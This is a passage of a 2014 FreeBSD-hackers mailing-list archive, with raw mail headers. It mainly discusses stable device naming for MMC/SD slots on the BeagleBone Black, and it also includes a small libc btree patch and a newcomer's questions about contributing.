inline In-Reply-To: <1393939277.1149.300.camel@revolution.hippie.lan> X-Operating-System: FreeBSD cicely7.cicely.de 7.0-STABLE i386 User-Agent: Mutt/1.5.11 X-Spam-Status: No, score=-2.9 required=5.0 tests=ALL_TRUSTED=-1, BAYES_00=-1.9, T_RP_MATCHES_RCVD=-0.01 autolearn=unavailable version=3.3.0 X-Spam-Checker-Version: SpamAssassin 3.3.0 (2010-01-18) on spamd.cicely.de Cc: Patrick Kelsey , "freebsd-hackers@freebsd.org" , freebsd-arm@freebsd.org, freebsd-embedded@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: ticso@cicely.de List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 04 Mar 2014 14:30:13 -0000 On Tue, Mar 04, 2014 at 06:21:17AM -0700, Ian Lepore wrote: > There's a standard property for mmc/sd devices, "non-removable" whose > presence denotes things like soldered-on eMMC parts. Only one of our > many sdhci drivers supports it right now (imx). In general the core > part of the driver (dev/sdhci) doesn't have good support for > insert/remove/presence detection that's handled off to the side (whether > it's non-removable or a gpio pin). > > That alone doesn't solve the wider problem, though, which I think breaks > down into two pieces. Let's say you've got two slots, call them left > and right. You end up with these two problems... > > * Sometimes the right slot is mmcsd0, but it turns into mmcsd1 if > there's a card in the left slot when I boot; I don't want it to > change. > * I want the slot on the left to be named '1' and the right to be > '0'. > > The first problem is easily solved without impacting dts in any way. We > just wire down the relationship controllerN -> mmcN -> mmcsdN. This is > exactly equivelent to the old ATA_STATIC_ID option in its effect -- you > don't get to choose the names, but you know they won't change based on > which devices are present. It could be controlled with a tunable. > > It's harder to envision the fix for the second part without adding an > ad-hoc property for the devices. Even with a property I'm not sure how > easy it would be. > > There's been talk of moving mmcsd towards using CAM. I don't know that > much about cam, but I suspect it rules out doing anything about #1 as > well. At least, I've never heard of wiring down /dev/daN to a specific > device/slot/whatever. CAM has wiring support. This had been the case for SCSI even before CAM was written and was vital in the days with many SCSI drives but without disk labeling support. Example from sys/conf/NOTES: hint.scbus.0.at="ahc0" hint.scbus.1.at="ahc1" hint.scbus.1.bus="0" hint.scbus.3.at="ahc2" hint.scbus.3.bus="0" hint.scbus.2.at="ahc2" hint.scbus.2.bus="1" hint.da.0.at="scbus0" hint.da.0.target="0" hint.da.0.unit="0" hint.da.1.at="scbus3" hint.da.1.target="1" hint.da.2.at="scbus2" hint.da.2.target="3" hint.sa.1.at="scbus1" hint.sa.1.target="6" -- B.Walter http://www.bwct.de Modbus/TCP Ethernet I/O Baugruppen, ARM basierte FreeBSD Rechner uvm. From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 4 15:13:21 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id AA1C7327 for ; Tue, 4 Mar 2014 15:13:21 +0000 (UTC) Received: from mail-ie0-f170.google.com (mail-ie0-f170.google.com [209.85.223.170]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 706EC12B for ; Tue, 4 Mar 2014 15:13:21 +0000 (UTC) Received: by mail-ie0-f170.google.com with SMTP id rd18so5809363iec.15 for ; Tue, 04 Mar 2014 07:13:14 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:sender:content-type:mime-version:subject:from :in-reply-to:date:cc:content-transfer-encoding:message-id:references :to; bh=MDjqcPoGmamcHa+Kgfi5I4de6f3Jgf4TgNPAYEMpwhc=; b=DBhYOxrh0SyudHzOjQwVLornFv3CePZQE5NMhviU4Ao/TjkOlEmQy/cgUDO8rj/6YK 2B4LPDuBwaanQhOOuGE1ggg6J6U71kaS/jeNMzuMD7RmEN440yRZOHSL7UhW5KqZKO5n oXJbIobDkFkgSJ9oPKUVkd0rLJft/F6Sgn3NfqZkMxT8ZCsgTYdyxHgj5dCw5vYIE8kA 2nOL63wOiXj9XhqmAqL/Da2U3CXmNaP6UZafTmN4RZOCG0T1ewL0/i2DsinIGieXCLz4 0/BTs2NxekXS+QBAgfS9/DuPT8+4kGUZ7DD1k09wOJ27pGM8jayw7lJoITk4mEsiZiJg A1qw== X-Gm-Message-State: ALoCoQl5ErUVZ96A5GDWwO2lV09LC5niS5XQTyPz74MzsNCSPUBJoer/XPwOkhUte7emIeziNB7/ X-Received: by 10.43.65.145 with SMTP id xm17mr628294icb.35.1393945509501; Tue, 04 Mar 2014 07:05:09 -0800 (PST) Received: from netflix-mac.bsdimp.com (50-78-194-198-static.hfc.comcastbusiness.net. [50.78.194.198]) by mx.google.com with ESMTPSA id rj10sm50728789igc.8.2014.03.04.07.05.08 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 04 Mar 2014 07:05:08 -0800 (PST) Sender: Warner Losh Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: [PATCH] simplebus child device probe order control via FDT (motivated by BeagleBone Black) From: Warner Losh In-Reply-To: Date: Tue, 4 Mar 2014 08:05:07 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: <7110A2B6-A7E4-42F8-8232-9B09BE769C74@bsdimp.com> References: <7C2B7036-51CC-4C97-80C4-0A439874357D@bsdimp.com> To: Patrick Kelsey X-Mailer: Apple Mail (2.1874) Cc: "freebsd-hackers@freebsd.org" , freebsd-arm@freebsd.org, freebsd-embedded@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 04 Mar 2014 15:13:21 -0000 On Mar 3, 2014, at 11:05 PM, Patrick Kelsey wrote: > On Sun, Mar 2, 2014 at 9:38 PM, Warner Losh wrote: >=20 > On Mar 2, 2014, at 4:56 PM, Patrick Kelsey wrote: >=20 > > Hi, > > > > The attached patch (fdt_probe_order_control.patch) allows control = over the > > probe order of simplebus child devices by using a "probe-order" = property in > > simplebus child nodes in the .dts file >=20 > Where is the probe-order property defined? I can=92t seem to find it = in the bindings. > Also, I don=92t think it is necessary. This is a software construct, = so doesn=92t really > belong in the dts file. I=92d really like to avoid FreeBSD specific = hacks in the DTS > files. >=20 > It is currently not in any bindings, and has the status of being = something of my own invention and something possibly not ever used = outside of private codebases. I think this is something that would fit = conceptually with the miscellaneous bindings defined in ePAPR, as it is = a rather generic property. As to this being a software construct, I = appreciate and support the goal of keeping DTS files as pure hardware = descriptions (and I'd also argue that the way the status property is = sometimes used turns it into a software construct). Generally, anything that=92s a FreeBSD invention needs to be prefixed by = =91freebsd,=92 or we need to get it through the semi-standarded = device-tree list process. > Let's completely avoid the issue of am I arguing for adding a software = construct to DTS files by looking at this another way. Instead of a = 'probe-order' property that specifies a sort key, I could have the same = quality of result (same warts and all, as discussed below) with a = property that indicates whether the device is hardwired or has some sort = of pluggable interface (a property, say, called 'pluggable'). That = would be a pure hardware-as-it-is-designed description, and having that = information would allow me to do a sort that orders non-pluggable ahead = of pluggable in the probe/attach process. There=92s already properties for this defined, so that wouldn=92t be = terrible. But I=92m not sure how that would affect the order. > > This was motivated by booting FreeBSD from the eMMC on a BeagleBone = Black, > > which has a pluggable microSD card slot in addition to the eMMC. = The order > > that the mmc units are defined in sys/boot/fdt/dts/am335x.dtsi = causes the > > pluggable slot to be probed/attached first, so the device name = assigned to > > the eMMC soldered to the board changes depending on whether there is = a card > > in the pluggable slot, which makes establishing appropriate = /etc/fstab > > contents less than convenient. >=20 > Sounds like you=92d like to have some sort of name to instance = mapping. > The typical way this is solved is by naming the partitions so that = ordering > doesn=92t matter. Even if you don=92t handle this at the filesystem = level, which > is how others cope, you=92d want this to be more of a direct binding = rather than an > ordering so that you get the effect you want (constant name) directly, = rather > than as a side-effect of ordering. >=20 > Yes, ideally I'd like to be able to assign a name to every MMC/SD card = slot (hardwired or otherwise) in a system that depends only on the = physical location of that slot, and be able to resolve that name to an = mmcsd device instance. This works-here-side-effect-based approach is a = result of the ideal solution seemingly not being within reach given the = available resources. Using partition naming/glabel is a fair point, and = does address the /etc/fstab issue, but it still leaves me short of being = able to construct a product function that relies on knowing what's where = when there is no partitioning/filesystem in place, for example, = something that boils down to 'dd this image to the eMMC [or to the card = in the card slot]'. Perhaps the answer to that is to build something = using devinfo(3)/devd(8) to identify what mmcsdX is currently attached = to each controller when I need to know. We don=92t assign names based on physical location in FreeBSD generally. = The old concept of wiring a card to an address is mostly gone at this = point. You can get information from devinfo to find where the devices actually = live, and do things based on that. There=92s supposed to be (but might = not actually be) sufficient plug and play information so that people = that are invested in tying a physical location to a particular task can = dig that information out. > If you insist on that, then having a something more like = =93freesbd,unit-number=94 > property would also accomplish this. But that would only wire the = controller unit > number, and not the resulting mmcsdX device. >=20 > I understand fully that the utility of this goes as far as having none = of the hardwired devices sharing controllers with pluggable devices in = such a way that the controllers can find the attached pluggable devices = first. Subject to that limitation as it is, this does usefully apply to = at least one real system now, and it is a behavior I can take advantage = of when designing new hardware to make developing the associated = FreeBSD-based product software easier (namely, by not having to cobble = together a poor-man's udev [which is not saying users of udev are = exactly rich], and/or worry about how a customer might label the fat = partition on an SD card they insert). Device security goes well beyond device enumeration ordering, but that=92s= a fair point. > More generally, whether this is or isn't a widely useful thing in the = end, what is the current process for introducing a new property for use = in DTS files? You need to get it approved via the devicetree-spec@vger.kernel.org = mailing list to make it official. There are efforts to move this away = from Linux infrastructure to its own infrastructure... > > By using the "probe-order" property in > > sys/boot/fdt/dts/beaglebone-black.dts (see attached > > beaglebone_black_mmc_probe_order.patch), I am able to swap the order = in > > which the mmc units are probed/attached for that board. This avoids > > inappropriate hacking of the mmc definition order in am335x.dtsi, = which is > > shared among multiple boards. > > > > This is not a general solution to the problem of wanting stable = device > > names for hard-wired MMC devices when pluggable slots are present in = the > > system. There could, for example, be a multi-slot MMC controller = with a > > mixture of hard-wired and pluggable devices attached, and this would = not > > address that case. However, it does address the needs of BeagleBone = Black, > > and the mechanism may be of use for similar issues on other = platforms. >=20 > As it isn=92t a generic solution, I=92d be biased against adopting it. = What=92s wrong > with using glabel to accomplish this (either with a label specific = property, or > by using a ufs label and mounting /dev/ufs/foo). >=20 >=20 > It is not my intention to lobby for adding this to the kernel at this = point. Whether it is widely-enough or only very-narrowly useful I would = say is currently unknown. My intention in posting this patch was for = others on the list(s) that might find it useful to see it and have = access to it, and to attract thoughtful criticism such as yours. Sure. Tying devices name to physical location is a hardish FreeBSD = problem, but has been since around FreeBSD 3. =46rom the sounds of things, you=92d want any SD card found on this = controller to have a unique name=85 The move to CAM may help that, but = we=92d need to invent FDT bindings, I think, for CAM to get the device = wiring info it currently gets from hints... > I appreciate you taking the time to respond. Sure thing=85 Warner= From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 4 21:29:35 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 238E31B9 for ; Tue, 4 Mar 2014 21:29:35 +0000 (UTC) Received: from caravan.chchile.org (caravan.chchile.org [178.32.125.136]) (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id DF7B9D11 for ; Tue, 4 Mar 2014 21:29:34 +0000 (UTC) Received: by caravan.chchile.org (Postfix, from userid 1000) id 40708B5236; Tue, 4 Mar 2014 21:29:26 +0000 (UTC) Date: Tue, 4 Mar 2014 22:29:26 +0100 From: Jeremie Le Hen To: freebsd-hackers@FreeBSD.org Subject: RFC: patch to libc/db/btree/bt_put.c Message-ID: <20140304212925.GA47398@caravan.chchile.org> Mail-Followup-To: freebsd-hackers@FreeBSD.org MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="sm4nu43k4a2Rpi4c" Content-Disposition: inline User-Agent: Mutt/1.5.22 (2013-10-16) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 04 Mar 2014 21:29:35 -0000 --sm4nu43k4a2Rpi4c Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi, I'd like to commit the following patch so DB_TREE's put() will accept the R_SETCURSOR flag as documented in the dbopen(3) manpage. Does that look good to you guy, or am I misreading the doc? Also, does this look OK to MFC? I think so, but better ask than be sorry. -- Jeremie Le Hen Scientists say the world is made up of Protons, Neutrons and Electrons. They forgot to mention Morons. --sm4nu43k4a2Rpi4c Content-Type: text/x-diff; charset=us-ascii Content-Disposition: attachment; filename="db_btree_put_R_SETCURSOR.diff" Index: btree/bt_put.c =================================================================== --- btree/bt_put.c (revision 262751) +++ btree/bt_put.c (working copy) @@ -55,7 +55,7 @@ static EPG *bt_fast(BTREE *, const DBT *, const DB * dbp: pointer to access method * key: key * data: data - * flag: R_NOOVERWRITE + * flag: R_NOOVERWRITE, R_SETCURSOR * * Returns: * RET_ERROR, RET_SUCCESS and RET_SPECIAL if the key is already in the @@ -91,6 +91,7 @@ __bt_put(const DB *dbp, DBT *key, const DBT *data, switch (flags) { case 0: case R_NOOVERWRITE: + case R_SETCURSOR: break; case R_CURSOR: /* --sm4nu43k4a2Rpi4c-- From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 5 06:53:49 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CD21F76C; Wed, 5 Mar 2014 06:53:49 +0000 (UTC) Received: from mail-la0-x234.google.com (mail-la0-x234.google.com [IPv6:2a00:1450:4010:c03::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id B0D09CDA; Wed, 5 Mar 2014 06:53:48 +0000 (UTC) Received: by mail-la0-f52.google.com with SMTP id ec20so382897lab.39 for ; Tue, 04 Mar 2014 22:53:46 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=w7LcJ9uQP48xbWxPvvAoLfI8VUVFNN5THwn5WqSEtCk=; b=g86DhWM7ElFTgtbR2FBjwDsOQI1dvkLjLvct/C5XnW/Gfyys07xQtFWKC+Y2dLMzAP X3pm/j5PogPTlY41AWBGI1ZIHAHP6PMz9yu5QjQ2Pd8rDi4uSSag+YjphBxLX/DQ+Fl/ mf5h08WdIBDAv66Fl3LnvXeEziP1gCV/rKborvSP9DeLjZu9KcxqoCE8QFzhEeD7ytdq GXeTW5ZxMrf72q9jQJsLDcZoyblfAEnJRuHNSFEmcJNM87nOdAjyxGiUHwyZ2WbVx6nY k/uhWKiBA7fEjqJdgUUyH8LcMdB4NTDie2ZtZhmDll+I5/bY2M6xv8q22wOruOUMHC9+ hEnw== MIME-Version: 1.0 X-Received: by 10.112.77.138 with SMTP id s10mr110546lbw.59.1394002426743; Tue, 04 Mar 2014 22:53:46 -0800 (PST) Sender: pkelsey@gmail.com Received: by 10.112.142.5 with HTTP; Tue, 4 Mar 2014 22:53:46 -0800 (PST) In-Reply-To: <1393939277.1149.300.camel@revolution.hippie.lan> References: <7C2B7036-51CC-4C97-80C4-0A439874357D@bsdimp.com> <1393939277.1149.300.camel@revolution.hippie.lan> Date: Wed, 5 Mar 2014 01:53:46 -0500 X-Google-Sender-Auth: RcUlIv0UuuCSFCW0q6fIaFcdswc Message-ID: Subject: Re: [PATCH] simplebus child device probe order control via FDT (motivated by BeagleBone Black) From: Patrick Kelsey To: Ian Lepore Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: "freebsd-hackers@freebsd.org" , freebsd-arm@freebsd.org, freebsd-embedded@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 05 Mar 2014 06:53:50 -0000 On Tue, Mar 4, 2014 at 8:21 AM, Ian Lepore wrote: > > There's a standard property for mmc/sd devices, "non-removable" whose > presence denotes things like soldered-on eMMC parts. Only one of our > many sdhci drivers supports it right now (imx). In general the core > part of the driver (dev/sdhci) doesn't have good support for > insert/remove/presence detection that's handled off to the side (whether > it's non-removable or a gpio pin). > > That alone doesn't solve the wider problem, though, which I think breaks > down into two pieces. Let's say you've got two slots, call them left > and right. You end up with these two problems... > > * Sometimes the right slot is mmcsd0, but it turns into mmcsd1 if > there's a card in the left slot when I boot; I don't want it to > change. > And not just a boot-time issue, of course. If you were to remove those two cards and then reinsert them in the opposite time-order, their device names would swap. > * I want the slot on the left to be named '1' and the right to be > '0'. > > The first problem is easily solved without impacting dts in any way. We > just wire down the relationship controllerN -> mmcN -> mmcsdN. This is > exactly equivelent to the old ATA_STATIC_ID option in its effect -- you > don't get to choose the names, but you know they won't change based on > which devices are present. It could be controlled with a tunable. > > It's harder to envision the fix for the second part without adding an > ad-hoc property for the devices. Even with a property I'm not sure how > easy it would be. > We should be able to assign a geographic address (controllerX:slotY) to each mmcsd device in a given system (let's ignore for now the theoretical possibility of multiple cards on one bus). The 'controllerX' part of the address could be the controller's pathname from the devicetree, or an index assigned by mmcbr machinery at attach time. The "slotY" part of the address is assigned by the specific controller device driver using some internally-determined fixed mapping between the assigned values and its physical slots. This geographic address could be used to create an additional set of /dev entries with stable names. There could be a mechanism for user-configurable aliases for the geographical addresses. That kind of approach addresses both concerns, avoids trying to control device unit number assignment, and doesn't require any special support from the device tree. In the theoretically possible case of multiple MMC devices on one bus, the next piece of identifying information in the geographic address would have to be the RCA assigned to the card. As far as I am aware, in such a multidrop configuration, there is generally no way for a controller to know which RCA is assigned to which slot due to the contention-based (that is, non-geographic) nature of the initialization protocol, so this would be a configuration in which stable names would not be possible without an ad-hoc, out-of-band hardware support. Does anyone know if sharing a bus is only a possibility with MMC cards? I *think*, but am not feeling authoritative, that SD/SDIO cards do not support multiple devices on one bus. > > There's been talk of moving mmcsd towards using CAM. I don't know that > much about cam, but I suspect it rules out doing anything about #1 as > well. At least, I've never heard of wiring down /dev/daN to a specific > device/slot/whatever. > > -- Ian > > > From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 5 13:31:42 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 030E3C22 for ; Wed, 5 Mar 2014 13:31:42 +0000 (UTC) Received: from mail-ie0-f170.google.com (mail-ie0-f170.google.com [209.85.223.170]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id BC3189E7 for ; Wed, 5 Mar 2014 13:31:41 +0000 (UTC) Received: by mail-ie0-f170.google.com with SMTP id rd18so1012708iec.29 for ; Wed, 05 Mar 2014 05:31:40 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:sender:content-type:mime-version:subject:from :in-reply-to:date:cc:content-transfer-encoding:message-id:references :to; bh=v3nL8+l2MOPOQwrfj7uRwzmfI/Vvjwopc6aX8ig5em8=; b=XjluLkzWFJlf9qCEPhTS8yFbuI1c1x7XOTILeIoBjAUJXUEbhjHOoxhxFuWw9UrU41 QJiQeU/scNouQhYUY0tPXBm3rOVyKCkoHCA4RgQkMivZgvZlG7Xpf+f1NbN0NFcAuVrw N+8v1HxS2C2KJySRJNxLaVQbA0IUewAdEat780dyx6D975aN4eTRR7oATAwJfLhSRUs4 Lkb91NYxldsnA2h91aT6/1Bf53Nx6jMtAyKjkn0aQUyj8g/2WLlQ/8ZR8K3kvmTbP7An xS9Du6qGV1xnY2NJINzr8f8JEonPTNPyCie3JSDG0aFruo3g3CUGaFSs3CvnYVceO8Lk DG0g== X-Gm-Message-State: ALoCoQkMX8YO8pKo8nLhICeD6I7LlzHnHxAsjpoXX6+fdxcOWAtnvIC2IhDsnmoW4+9KWOeeGVF8 X-Received: by 10.50.119.132 with SMTP id ku4mr8927242igb.35.1394026300866; Wed, 05 Mar 2014 05:31:40 -0800 (PST) Received: from netflix-mac.bsdimp.com (50-78-194-198-static.hfc.comcastbusiness.net. [50.78.194.198]) by mx.google.com with ESMTPSA id v2sm13404632igk.7.2014.03.05.05.31.39 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 05 Mar 2014 05:31:40 -0800 (PST) Sender: Warner Losh Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: [PATCH] simplebus child device probe order control via FDT (motivated by BeagleBone Black) From: Warner Losh In-Reply-To: Date: Wed, 5 Mar 2014 06:31:37 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: <438620C4-7712-4B01-A46F-CB57946A30BF@bsdimp.com> References: <7C2B7036-51CC-4C97-80C4-0A439874357D@bsdimp.com> <1393939277.1149.300.camel@revolution.hippie.lan> To: Patrick Kelsey X-Mailer: Apple Mail (2.1874) Cc: "freebsd-hackers@freebsd.org" , freebsd-arm , freebsd-embedded@freebsd.org, Ian Lepore X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 05 Mar 2014 13:31:42 -0000 On Mar 4, 2014, at 11:53 PM, Patrick Kelsey wrote: >=20 >=20 >=20 > On Tue, Mar 4, 2014 at 8:21 AM, Ian Lepore wrote: >=20 > There's a standard property for mmc/sd devices, "non-removable" whose > presence denotes things like soldered-on eMMC parts. Only one of our > many sdhci drivers supports it right now (imx). In general the core > part of the driver (dev/sdhci) doesn't have good support for > insert/remove/presence detection that's handled off to the side = (whether > it's non-removable or a gpio pin). >=20 > That alone doesn't solve the wider problem, though, which I think = breaks > down into two pieces. Let's say you've got two slots, call them left > and right. You end up with these two problems... >=20 > * Sometimes the right slot is mmcsd0, but it turns into mmcsd1 = if > there's a card in the left slot when I boot; I don't want it = to > change. >=20 > And not just a boot-time issue, of course. If you were to remove = those two cards and then reinsert them in the opposite time-order, their = device names would swap. > =20 > * I want the slot on the left to be named '1' and the right to = be > '0'. >=20 > The first problem is easily solved without impacting dts in any way. = We > just wire down the relationship controllerN -> mmcN -> mmcsdN. This = is > exactly equivelent to the old ATA_STATIC_ID option in its effect -- = you > don't get to choose the names, but you know they won't change based on > which devices are present. It could be controlled with a tunable. >=20 > It's harder to envision the fix for the second part without adding an > ad-hoc property for the devices. Even with a property I'm not sure = how > easy it would be. >=20 > We should be able to assign a geographic address (controllerX:slotY) = to each mmcsd device in a given system (let's ignore for now the = theoretical possibility of multiple cards on one bus). The = 'controllerX' part of the address could be the controller's pathname = from the devicetree, or an index assigned by mmcbr machinery at attach = time. The "slotY" part of the address is assigned by the specific = controller device driver using some internally-determined fixed mapping = between the assigned values and its physical slots. This geographic = address could be used to create an additional set of /dev entries with = stable names. There could be a mechanism for user-configurable aliases = for the geographical addresses. There=92s already a chance to run a script when a device is attached = that can create /dev/slot0 or /dev/slot1 that has geographical = information available to it. People use ddvd for this in the USB world = all the time to make sure that tty devices get a symlink based on their = location or serial number. Why is mmc so different it needs its own mechanism? Warner > That kind of approach addresses both concerns, avoids trying to = control device unit number assignment, and doesn't require any special = support from the device tree. >=20 > In the theoretically possible case of multiple MMC devices on one bus, = the next piece of identifying information in the geographic address = would have to be the RCA assigned to the card. As far as I am aware, in = such a multidrop configuration, there is generally no way for a = controller to know which RCA is assigned to which slot due to the = contention-based (that is, non-geographic) nature of the initialization = protocol, so this would be a configuration in which stable names would = not be possible without an ad-hoc, out-of-band hardware support. Does = anyone know if sharing a bus is only a possibility with MMC cards? I = *think*, but am not feeling authoritative, that SD/SDIO cards do not = support multiple devices on one bus. > =20 >=20 > There's been talk of moving mmcsd towards using CAM. I don't know = that > much about cam, but I suspect it rules out doing anything about #1 as > well. At least, I've never heard of wiring down /dev/daN to a = specific > device/slot/whatever. >=20 > -- Ian >=20 >=20 >=20 From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 5 18:40:24 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5D136A3D for ; Wed, 5 Mar 2014 18:40:24 +0000 (UTC) Received: from tds-solutions.net (tds-solutions.net [69.164.206.65]) by mx1.freebsd.org (Postfix) with ESMTP id 4110BCF1 for ; Wed, 5 Mar 2014 18:40:22 +0000 (UTC) Received: from [192.168.1.224] (unknown [69.43.65.114]) (Authenticated sender: tyler) by tds-solutions.net (Postfix) with ESMTPSA id 9955CA093 for ; Wed, 5 Mar 2014 11:45:53 -0700 (MST) Message-ID: <53176FB4.1080908@tysdomain.com> Date: Wed, 05 Mar 2014 13:40:52 -0500 From: "Littlefield, Tyler" User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: getting involved and contributing Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: tyler@tysdomain.com List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 05 Mar 2014 18:40:24 -0000 Hello all: I had a fewe questions I wanted to ask. I'm looking for areas in which I might contribute code (c/c++, Python etc). As I'm new to the code contribution deal, I'd like to start off with something small if possible. My interests are mainly in security and systems development, though I'm probably not all that great at either. Similarly, I had a few questions: 1) what is a free or cheap method for testing code, branches etc? I have two systems here, but I am unable to duel boot. 2) I could use VMWare for testing, but that limits my ability to do much testing. Given that though, is there a way to automate the install of BSD? Basically: I am blind and am unable to install BSD by myself without help. Solutions exist for serial ports, but I've not really had much great luck connecting to that through a host. If there's a solution for a scripted install, that would be awesome. Thanks, -- Take care, Ty http://tds-solutions.net He that will not reason is a bigot; he that cannot reason is a fool; he that dares not reason is a slave. From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 5 18:55:58 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CE3E1E98; Wed, 5 Mar 2014 18:55:58 +0000 (UTC) Received: from mail-lb0-x22b.google.com (mail-lb0-x22b.google.com [IPv6:2a00:1450:4010:c04::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id AA6F4E6D; Wed, 5 Mar 2014 18:55:57 +0000 (UTC) Received: by mail-lb0-f171.google.com with SMTP id w7so1020371lbi.30 for ; Wed, 05 Mar 2014 10:55:55 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=I7zc9OQgiYTicjrU8DpLYtH888nxwDgi952COvK+C1o=; b=KporpxlEpERvTCqkrUSvDFJBIwj1uyxHYtwkIjsuIYSjFiXq48bB983EvxOBojxHDo cbBj5uGRHJaI0cspJLd4277FJQxn9iZCjx7oq0vrygfl+DP10pXnpXMa0zMoiiOvloy1 DsmRNGsrmw6tFoeuTY2zwUfh6oxCfiHMrk/+iUzPO58XOSS3WM6OU2ym/j0K6C7DfX5p bYcb86klyryBk4oBK3E3nF8SdsZol6CVgOOAqN7YpBal14VENpcb7zdNbVM4xBqIZDAm MmgjGjFCC4nC/7AAnAk/vhXgLe2sYGBlT+MnLzrVQu9BxrUOH5PxB4u73jL6lVdoPGYs 476Q== MIME-Version: 1.0 X-Received: by 10.152.172.103 with SMTP id bb7mr2520422lac.49.1394045755731; Wed, 05 Mar 2014 10:55:55 -0800 (PST) Sender: pkelsey@gmail.com Received: by 10.112.142.5 with HTTP; Wed, 5 Mar 2014 10:55:55 -0800 (PST) In-Reply-To: <438620C4-7712-4B01-A46F-CB57946A30BF@bsdimp.com> References: <7C2B7036-51CC-4C97-80C4-0A439874357D@bsdimp.com> <1393939277.1149.300.camel@revolution.hippie.lan> <438620C4-7712-4B01-A46F-CB57946A30BF@bsdimp.com> Date: Wed, 5 Mar 2014 13:55:55 -0500 X-Google-Sender-Auth: 